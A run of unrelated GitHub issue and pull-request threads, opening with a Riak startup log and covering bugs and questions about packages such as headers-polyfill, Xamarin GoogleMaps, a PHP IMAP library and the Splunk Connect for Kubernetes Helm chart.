2017-11-09 18:15:34.029 [info] <0.401.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_reduce) host starting (<0.401.0>)
2017-11-09 18:15:34.030 [info] <0.403.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_hook) host starting (<0.403.0>)
2017-11-09 18:15:34.031 [info] <0.404.0>@riak_kv_js_vm:init:73 Spidermonkey VM (thread stack: 16MB, max heap: 8MB, pool: riak_kv_js_hook) host starting (<0.404.0>)
2017-11-09 18:15:34.036 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,vnode_vclocks} = true
2017-11-09 18:15:34.052 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,legacy_keylisting} = false
2017-11-09 18:15:34.062 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,listkeys_backpressure} = true
2017-11-09 18:15:34.071 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,index_backpressure} = true
2017-11-09 18:15:34.081 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,mapred_system} = pipe
2017-11-09 18:15:34.091 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,mapred_2i_pipe} = true
2017-11-09 18:15:34.100 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,handoff_data_encoding} = encode_raw
2017-11-09 18:15:34.110 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,object_format} = v1
2017-11-09 18:15:34.119 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,secondary_index_version} = v3
2017-11-09 18:15:34.132 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,vclock_data_encoding} = encode_zlib
2017-11-09 18:15:34.152 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,crdt} = [pncounter,riak_dt_pncounter,riak_dt_orswot,riak_dt_map,riak_kv_hll]
2017-11-09 18:15:34.165 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,crdt_epoch_versions} = [{riak_dt_map,2},{riak_dt_orswot,2},{riak_dt_pncounter,2},{riak_kv_hll,1}]
2017-11-09 18:15:34.177 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_kv,put_fsm_ack_execute} = enabled
2017-11-09 18:15:34.218 [info] <0.7.0> Application riak_kv started on node<EMAIL_ADDRESS>2017-11-09 18:15:34.229 [info] <0.7.0> Application merge_index started on node<EMAIL_ADDRESS>2017-11-09 18:15:34.233 [info] <0.7.0> Application riak_search started on node<EMAIL_ADDRESS>2017-11-09 18:15:34.244 [info] <0.7.0> Application ibrowse started on node<EMAIL_ADDRESS>2017-11-09 18:15:34.268 [info] <0.7.0> Application fuse started on node<EMAIL_ADDRESS>2017-11-09 18:15:34.280 [info] <0.583.0>@riak_core:wait_for_service:504 Waiting for service riak_kv to start (0 seconds)
2017-11-09 18:15:44.474 [info] <0.370.0>@riak_core:wait_for_service:498 Wait complete for service riak_kv (10 seconds)
2017-11-09 18:15:44.520 [info] <0.583.0>@riak_core:wait_for_service:498 Wait complete for service riak_kv (10 seconds)
2017-11-09 18:15:44.539 [info] <0.7.0> Application yokozuna started on node<EMAIL_ADDRESS>2017-11-09 18:15:44.546 [info] <0.7.0> Application cluster_info started on node<EMAIL_ADDRESS>2017-11-09 18:15:44.570 [info] <0.197.0>@riak_core_capability:process_capability_changes:555 New capability: {riak_control,member_info_version} = v1
2017-11-09 18:15:44.587 [info] <0.7.0> Application riak_control started on node<EMAIL_ADDRESS>2017-11-09 18:15:44.587 [info] <0.7.0> Application erlydtl started on node<EMAIL_ADDRESS>2017-11-09 18:15:44.613 [info] <0.7.0> Application riak_auth_mods started on node<EMAIL_ADDRESS>2017-11-09 18:15:48.894 [info] <0.360.0>@riak_core_throttle:maybe_log_throttle_change:372 Changing throttle for riak_kv/aae_throttle from undefined to 0 based on load factor 0
`

Suggest we close this out - nothing useful in that log file - stuff needs to get chased or followed up or the trail goes cold.


Support the deployment of trigger & rule

We need to support the deployment of trigger & rule.
This function can be tested using tests/testcases/triggerrule

Close as pr merged.


Invalid Headers.js syntax ?

Following the recent 3.0.9, I'm having this issue when trying to start storybook (that does have msw/msw-storybook-addon :
ERROR in /project/node_modules/headers-polyfill/lib/Headers.js 9:25
Module parse failed: Unexpected token (9:25)
You may need an appropriate loader to handle this file type, currently no loaders are configured to process this file. See https://webpack.js.org/concepts#loaders
| class HeadersPolyfill {
|     // Normalized header {"name":"a, b"} storage.
>     [NORMALIZED_HEADERS] = {};
|     // Keeps the mapping between the raw header name
|     // and the normalized header name to ease the lookup.

Found someone else on S/O with the same issue as well.
Reverting to 3.0.4 via yarn resolutions worked for me.
FWIW I'm using babel-loader 8.1.0 in case that makes a difference, as the loader was mentioned.
Also, I'm seeing that Headers.js for 3.0.4 looks like minified js, whereas this looks much more like plain (pre-transpiler) javascript.
I do see the change in #33 that switches targets from ES5 to esnext... would that have this effect?
Please let me know if you need any other information about my project.
node v16.16

Yes I'm noticing the same problem, I don't use yarn however and don't have the option to use a 'resolutions' option, this effectively stops my development using MSW with Storybook

@abienz YMMV, but this is a third-party package for NPM that accomplishes the same thing.

Thank you @danielthedifficult , I did notice there were packages that do this, but my project has strict rules around 3rd party dependencies, so this won't be possible for me

Same problem for us as well. We can't keep using msw with Cypress for this problem.

As I am using over version 8 of NPM I can use the overrides configuration in my package.json, which is an ok workaround until this gets fixed.
https://docs.npmjs.com/cli/v8/configuring-npm/package-json#overrides

Hey, @midudev. Please, pin headers-polyfill with Yarn resolutions or NPM overrides until the problem is resolved. Rolling back as far as one patch version should be enough.
I believe the issue is caused by me changing the target in tsconfig.json. Looks like the compiled code doesn't transpile symbols on the class, producing a syntax invalid in some contexts.
If anyone has time to change target and open a pull request, I'd be thankful. Then we could merge the fix faster. Otherwise, I'll get to this when I have time.

This should be fixed in 3.0.10. Thank you, @abienz for a quick fix!

Just tested in my environment, and MSW appears to pickup the latest, and in turn storybook runs now for me.


Language

Sorry if this question was made before...
How can I change the language?? I want to change to Spanish

Hi @elkorleone,
The language is set based on your browser config.
https://www.digitaltrends.com/web/how-to-change-your-language-in-google-chrome/

Could you please add an option to change the language manually?


Link Update

aykutsarac.github.com/github-rater -> aykutsarac.github.io/github-rater

Thank you for your PR, this has resolved already in the main branch but hasn't been pushed yet.


Dark mode?

Any idea how I can add dark mode to this theme with a stylesheet? Thank you.

I implemented something that works for me. See https://github.com/KTibow/fridge/blob/main/assets/css/style.scss.

You should probably adapt it so it looks good for your website instead of copy/pasting.

You should probably adapt it so it looks good for your website instead of copy/pasting.

Alright thanks for the tip! I was a bit confused because I'm new to the hsl and hsla color format.
I'm actually having trouble changing the section heading color of red, could you point out which line will allow me to change that color?

It's this bit: https://github.com/KTibow/fridge/blob/main/assets/css/style.scss#L48-L55

It's this bit: https://github.com/KTibow/fridge/blob/main/assets/css/style.scss#L48-L55

Ah that makes sense. Thanks so much!

For anyone else that's looking into this, I made a dark mode fork of the Cayman theme. Here's a link to the repo https://github.com/lewismiddleton/cayman-dark


How do I trigger re-frame/reg-fx with this library?

I'm new to re-frame and I want to control a pipeline of promises.
I think this library allows to do it but it requires to register EVent handlers for each action and I want to use EFfects.
I think that using EFfects is better as they don't mutate the application state and instead trigger EFfects which I'd like to listen to.
The tutorial of re-frame tells that EFfects are what should be used mutations (outside world, data fetching, etc.) and EVents (the ones who are triggered via dispatch) should be used to process user's callbacks and change application's state.
This is the doc: https://day8.github.io/re-frame/Effects/.
I'd like to know what is the best way to use this library if I want to fire several consecutive EFfects which do some fetching. The original re-frame tutorial doesn't show any example which deals with execution of two consecutive requests, for instance.
I think I simply need an example because I can't think of a better way than to wrap every step of my logic into a EVent handler that requests EFfects to happen. Is this the way to do it?
(By "wrap" I mean to have an EVent that simply returns cofx that triggers one or multiple EFfects)

Issues are for bugs and feature requests.
Best to get tutorial help via slack or Github's discussions feature:

You might be interested to have a look at the re-frame-http-fx library which has to initiate async actions and then handle success or failure.


Add auto-generation of test table/spec

Reads files containing tests in hard-coded path and extracts and reformat .rST files.
There are still TODOs as this PR is also a test for the "previewing" feature on Read the Docs (in "latest" version hopefully).

Apparently rtd fails to build because test auto-gen called in conf.py depend on some python packages which are not installed in the rtd's env. I tried to integrate poetry with rtd but it failed because of "too much memory consumption". For now, it's reverted to let rtd work properly. I will investigate the env problem and try to fix it later.

Used (or maybe overused) # type: ignore where ast got complained in mypy type check.

I'll watch the PR mature to come back. I have the friendly request of not hardcoding things on the .pys here regarding this lisa incarnation only--please make them arguments + conf files, so that derivative works can also have their testcases listed with ease :)

Apparently rtd fails to build because test auto-gen called in conf.py depend on some python packages which are not installed in the rtd's env. I tried to integrate poetry with rtd but it failed because of "too much memory consumption". For now, it's reverted to let rtd work properly. I will investigate the env problem and try to fix it later.

If so, we don't need to enable poetry in rtd. Just let it work as is.

Please organize the commits in a good sequence.

Apparently rtd fails to build because test auto-gen called in conf.py depend on some python packages which are not installed in the rtd's env. I tried to integrate poetry with rtd but it failed because of "too much memory consumption". For now, it's reverted to let rtd work properly. I will investigate the env problem and try to fix it later.

If so, we don't need to enable poetry in rtd. Just let it work as is.

Yes, we do not need to setup poetry on rtd. It's fixed and rtd is working fine now (in this PR).

For preview:

Test table: https://mslisa--1455.org.readthedocs.build/en/1455/run_test/test_table.html
Test specifications: https://mslisa--1455.org.readthedocs.build/en/1455/run_test/test_spec.html

Looking much better, nice. Is it hard to make links from test table to test descriptions?

Looking much better, nice. Is it hard to make links from test table to test descriptions?

It was, but I've added it now, using custom anchors.


Problem with moveCamera [Android]

VERSIONS

Xamarin.Forms.GoogleMaps - 3.0.0 - beta
Xamarin.Forms - <IP_ADDRESS>x

PLATFORMS

[x] Android
[ ] iOS
[ ] UWP

ACTUAL BEHAVIOR
Application wait no error appears, during debug cannot step further
HOW TO REPRODUCE
// code for reproduce
         await customMap.MoveCamera(CameraUpdateFactory.NewCameraPosition(
                    new CameraPosition(
                        location.Position,
                        8d
                    )));

Fixed in APP by
            //BUG UWP/ANDROID Two the same queries
            if (Device.RuntimePlatform != Device.Android &&
                Device.RuntimePlatform != Device.iOS)
            {
                await customMap.MoveCamera(CameraUpdateFactory.NewCameraPosition(
                    new CameraPosition(
                        location.Position,
                        8d
                    )));
            }
            else
            {
                customMap.InitialCameraUpdate = CameraUpdateFactory.NewCameraPosition(
                    new CameraPosition(
                        location.Position,
                        8d
                    ));
            }

Sorry I can't understand.
What is expected behavior?
And is your code in page constructor?
(InitialCameraUpdate is only for constructor)


exclusive_scan algorithms fail when used on arrays 'in_place'. (output=input)

This was fixed by merging #1413


current_page.siblings is always empty

If I'm understanding this method correctly, I should get an array of resources that are in the same directory. I have the following
localizable/
  +-- some-directory/
        |-- one.en.html.md
        |-- one.es.html.md
        |-- two.en.html.md
        |-- two.es.html.md
        |-- three.en.html.md
        +-- three.es.html.md

In my layout I have the following:
<%= current_page.siblings %>

When viewing any of these pages it always returns an empty array. I've tried it both with and without activate :directory_indexes in my config.rb, but it's always empty.
I'm using gem "middleman", github: "middleman/middleman", branch: "v3-stable" and am not sure what other factors would be affecting this. What am I missing?

Not sure. I don't think we have any tests covering the combination of siblings and i18n. I'll write some.

I realized this will not work if you do not have an index file in the directory acting as the "parent." Makes sense now that I see that in Middleman::Sitemap::Extensions::Traversal. Once I added the index things worked fine.

Hmmm... maybe still a bug, tho.

I'm doing some issue-gardening 🌿🌷🌾 and came across this issue.
Sorry that this has lingered for quite a while! I'd suggest closing this issue. If the problem resurfaces a repro or failing test would be a good start in solving this. Ideally also a patch with a fix.


How to query using OR

Hi there, new to the package here, could not find or infer from documentation so here it goes the question.
How can I search using ORs, trying to query for messages sent to one OR another recipient, trie the following with no luck.

client->getFolder('INBOX')->query()->to("one")->to("another")->get()
client->getFolder('INBOX')->query()->where([["TO"=>"one"],["TO"=>"another"]])->get()

Thanks in advance !

Hi @gmartinez ,
if the "OR" operation is supported by your mail provider you can use it a few different ways. Here are a few examples:
$messages = $folder->query()->subject("some subject")->orWhere()->to("some@one.tld")->orWhere(function($query){
    $query->text("some custom text")->orWhere("from@someone.com");
})->get();

Best regards & happy hacking,

Using orWhere(function... seem to build the query fine, but upon issuing the get() I get an ImapServerErrorException
FYI I am querying gmail, which according to documentation does support OR.
When turning degub the text around the error reads;
<< TAG3 OK [READ-WRITE] INBOX selected. (Success)

TAG4 UID SEARCH TO "one" OR TO "another"

<< TAG4 BAD Could not parse command
Webklex\PHPIMAP\Exceptions\ImapServerErrorException
Any idea ?


⚠ ClamAV has degraded performance

In 1fcb34f, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 175 ms

Resolved: ClamAV performance has improved in d4089f1.


Double click to select text with '@'

Issue Type: Feature Request
On double click a text (to select the word) with '@' on it, the selected text does not stops at the '@', like every text editor does.
Example: clicking on name in the string 'name@domain', selects the entire string, instead of only the name.
Azure Data Studio version: azuredatastudio 1.9.0 (78a42e1d112ae3231777722b51eaf44f83ddbe55, 2019-07-10T04:31:36.998Z)
OS version: Windows_NT x64 10.0.16299

This is being caused by this edit https://github.com/microsoft/azuredatastudio/blob/master/src/vs/editor/common/model/wordHelper.ts#L9 in this commit which was created to solve https://github.com/microsoft/azuredatastudio/issues/143
Can you clarify if you are experiencing this issue when editing sql queries or other types of files. based on #143 is sounds like it is preferable for sql to not use @ as a break for highlighting words.

@anthonydresser @ is used at the beginning of SQL variable names and in that situation we would want to not use it as a word separator.  In this bug repo since the @ is not at the beginning of a word we would want to use it as a word separator.
Since the VS Code logic isn't smart enough to handle this distinction we would want to keep the current behavior since it is more common to be highlighting SQL variable names than strings with embedded @ in SQL scripts.  I'll close this as "by design limitation of upstream."  If VS Code adds ability to be smarter about word separator exceptions we can revisit.

I think we can be smarter about it with current implementation according to https://github.com/microsoft/vscode/issues/39218#issuecomment-347448993 we can design a regex to do this parsing correctly https://code.visualstudio.com/api/language-extensions/language-configuration-guide


CitiesController tests

#192
Added unit tests for city controller

Commented code is not good practices. Githalub will save your code if it was in at least 1 commit before


workflows/trigger-gitlab: run Gitlab CI in new image-builder project

We have a new project in Gitlab
https://gitlab.com/redhat/services/products/image-builder/ci/weldr-client
and we want to run the CI there instead.

Could you change the commit message to say instead of what? On first reading I thought you wanted to turn off github actions :)

I've changed it a bit hope it's more claer, the only thing currently ran there is the scan for Sonarqube, in other repos our integration tests are ran there too

I cannot merge this The base branch restricts merging to authorized users. Learn more about protected branches.


"sendAllMetadata" not rendering "single value format" when deploying with 1.4.5 chart

What happened:
deploying 1.4.5 logging chart and I am unable to get the sendAllMetadata: false to render in the logging configmap, and as such my event format has changed in Splunk across minor chart release.
What you expected to happen:
The container logging format not to change in a minor release. Expected this section to render:
https://github.com/splunk/splunk-connect-for-kubernetes/blob/1989ac0c5d56df3fb849772041a0378e7e873032/helm-chart/splunk-connect-for-kubernetes/charts/splunk-kubernetes-logging/templates/configMap.yaml#L423-L430
How to reproduce it (as minimally and precisely as possible):

helm repo add splunk https://splunk.github.io/splunk-connect-for-kubernetes/

kubectl create ns canlab

helm -n splunk install sck -f sck-canlab-145.yaml splunk/splunk-connect-for-kubernetes

Anything else we need to know?:
Here is my values.yaml
#global settings
global:
  logLevel: info
  splunk:
    hec:
      protocol: https
      insecureSSL: true
      host: myHost
      token: "myToken"
      port: 8088
  kubernetes:
    clusterName: "mattymo-microk8s"

#local config for logging chart
splunk-kubernetes-logging:
  #logLevel: debug
  containers:
    logFormatType: cri
    logFormat: "%Y-%m-%dT%H:%M:%S.%N%:z"
  journalLogPath: /var/log/journal
  buffer:
    "@type": memory
    total_limit_size: 600m
    chunk_limit_size: 10m
    chunk_limit_records: 100000
    flush_interval: 2s
    flush_thread_count: 1
    overflow_action: block
    retry_max_times: 10
    retry_type: periodic
  k8sMetadata:
  # Pod labels to collect
    podLabels:
      - app
      - k8s-app
      - release
      - environment
      - tier
  splunk:
    hec:
      indexName: k8s
  logs:
    sck:
      from:
        pod: sck-splunk-kubernetes-
        container: splunk-fluentd-k8s-
      multiline:
        firstline: /^\d{4}-\d{2}-\d{2}\s\d{2}\:\d{2}\:\d{2}\s\+\d{4}\s\[\w+\]\:/
        separator: "\n"
        flushInterval: 2

#local config for objects chart
splunk-kubernetes-objects:
  rbac:
    create: true
  serviceAccount:
    create: true
    name: splunk-kubernetes-objects
  kubernetes:
    insecureSSL: true
  objects:
    core:
      v1: [{"name":"pods", "interval":"60s"},{"name":"nodes", "interval":"60s"},{"name":"component_statuses", "interval":"60s"},{"name":"config_maps", "interval":"60s"},{"name":"namespaces", "interval":"60s"},{"name":"persistent_volumes", "interval":"60s"},{"name":"persistent_volume_claims", "interval":"60s"},{"name":"resource_quotas", "interval":"60s"},{"name":"services", "interval":"60s"},{"name":"service_accounts", "interval":"60s"},{"name":"events", "mode":"watch"},]
    apps:
      v1:
        [{"name":"daemon_sets", "interval":"60s"},{"name":"deployments", "interval":"60s"},{"name":"replica_sets", "interval":"60s"},{"name":"stateful_sets", "interval":"60s"},]
  splunk:
    hec:
      indexName: em_meta

#local config for metrics chart
splunk-kubernetes-metrics:
  metricsInterval: 60s
  kubernetes:
    kubeletPort: 10255
    kubeletPortAggregator: 10250
    useRestClientSSL: false
    insecureSSL: true
  rbac:
    create: true
  serviceAccount:
    create: true
    name: splunk-kubernetes-metrics
  splunk:
    hec:
      indexName: em_k8s

#App for Infra Dimensions for K8s
  customFilters:
    node:
      tag: "kube.node.**"
      type: record_modifier
      body: |-
        <record>
          entity_type k8s_node
        </record>
    pod:
      tag: "kube.pod.**"
      type: record_modifier
      body: |-
        <record>
          entity_type k8s_pod
        </record>

Environment: Single Ubuntu 18.04LTS Running MicroK8s

Kubernetes version (use kubectl version):

kubectl version
Client Version: version.Info{Major:"1", Minor:"19", GitVersion:"v1.19.3", GitCommit:"1e11e4a2108024935ecfcb2912226cedeafd99df", GitTreeState:"clean", BuildDate:"2020-10-14T12:50:19Z", GoVersion:"go1.15.2", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"17", GitVersion:"v1.17.17", GitCommit:"f3abc15296f3a3f54e4ee42e830c61047b13895f", GitTreeState:"clean", BuildDate:"2021-01-13T13:13:00Z", GoVersion:"go1.13.15", Compiler:"gc", Platform:"linux/amd64"}

Ruby version (use ruby --version):
OS (e.g: cat /etc/os-release):

NAME="Ubuntu"
VERSION="18.04.3 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.3 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

Splunk version: 8.1.2
Splunk Connect for Kubernetes helm chart version: 1.4.5
Others:

helm version
version.BuildInfo{Version:"v3.2.1", GitCommit:"fe51cd1e31e6a202cba7dead9552a6d418ded79a", GitTreeState:"clean", GoVersion:"go1.13.10"}

Above photo depicts log format after rollback using this handy command this taught me:
helm -n splunk install sck -f sck-canlab-145.yaml splunk/splunk-connect-for-kubernetes --version 1.4.4

Thanks Matt for reporting this. this is true. chart in helm repo is not properly updated. it is actually applied in opposite logic. Will fix this and release 1.4.6

ah! so workaround for me is to set to true?

yea. it is fixed in 1.4.6 which just got released.


Need Help

Can't for the life of me figure out how to make this work think you could upload a private video on youtube with a tutorial or maybe help me with teamviewer?

I literally just bought Street Fighter IV just so I could try this out lol, please assist me? :)

Why is there no .exe? I'm so lost please help me

Ok so I did some googling and I looked at the code its seems It looks like everything is not compiled and you'll need to compile it into an executable but I have now idea how to do that.. so again please help me it would be much appreciated :)

Honestly this kind of thing pretty much REQUIRES knowledge of programming concepts in order to be used. Its less of an app, and more of a framework to be used as a starting point for developing a bot.

I just downloaded and installed Visual Studio 2015 do you think you could hop on skype and walk me through the process


do not log fatal when transaction fails.

This prevents kine from exiting the process when a transaction or commit fails.

I understand why we want to continue normal operation in case a transaction commit failed. But when we are unable to rollback what should we do? Would we risk inconsistencies if we fail to rollback?
I am really interested to know why would your commits and rollbacks failed.

Sorry didn't put the error message, but it says, rollback failed because there is no active transaction.  Which is safe to ignore, since there is really nothing to rollback.
Since i made this to not panic, i notice that another error comes like this "compact failed due to some disk i/o error".  I think panicking masked that disk i/o error.  Its not so hard to reproduce, simple do lots of activity to the cluster.  In my case i just scale up and down an nginx pod.
I also see some  errors like  "error in txn : context cancelled." And database is locked.

Im having second thoughts here.
As it currently stands, the caller isn't reacting to the response of the rollback.  It simply swallows it.
While the MustCommit must return the error back to the caller.
I will close this PR for now.

Im reopening the PR, in hope that we can discuss this further.
Both the MustCommit() and MustRollback() do not return errors.  I suppose they are ok to ignore.
Wdyt? @ktsakalozos

Closing this PR until the new version of kine is integrated.


⚠ Bofrost.at has degraded performance

In 8b59af8, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 2327 ms

Resolved: Bofrost.at performance has improved in 5f24869.


cli on ubuntu

i'm having an issue running this on ubuntu headless server, no issue in windows cli, any help would be appreciated. ubuntu cli states command not found even when running command inside the hdr10plus_tool directory.
thnx

Either download the precompiled binary from the releases: https://github.com/quietvoid/hdr10plus_tool/releases/tag/1.2.2
Or build the project yourself using Rust; https://www.rust-lang.org/tools/install

thnx quietvoid, it was my mistake on the binary and path
thnx again for the quick response and all the great tools you build for us!


feat: add wallet address

Checklist

[x] I have read the coding guide.
[ ] My change requires a documentation update, and I have done it.
[ ] I have added tests to cover my changes.
[ ] I have filled out the description and linked the related issues.

Description
Closes #3569
Open API Spec Version Changes (if applicable)

Motivation and Context (Optional)

Related Issue (Optional)

Screenshots (if appropriate):

This change is

The changes need to be reflected in the OpenAPI spec.

The changes need to be reflected in the OpenAPI spec.

Thanks for pointing. Added.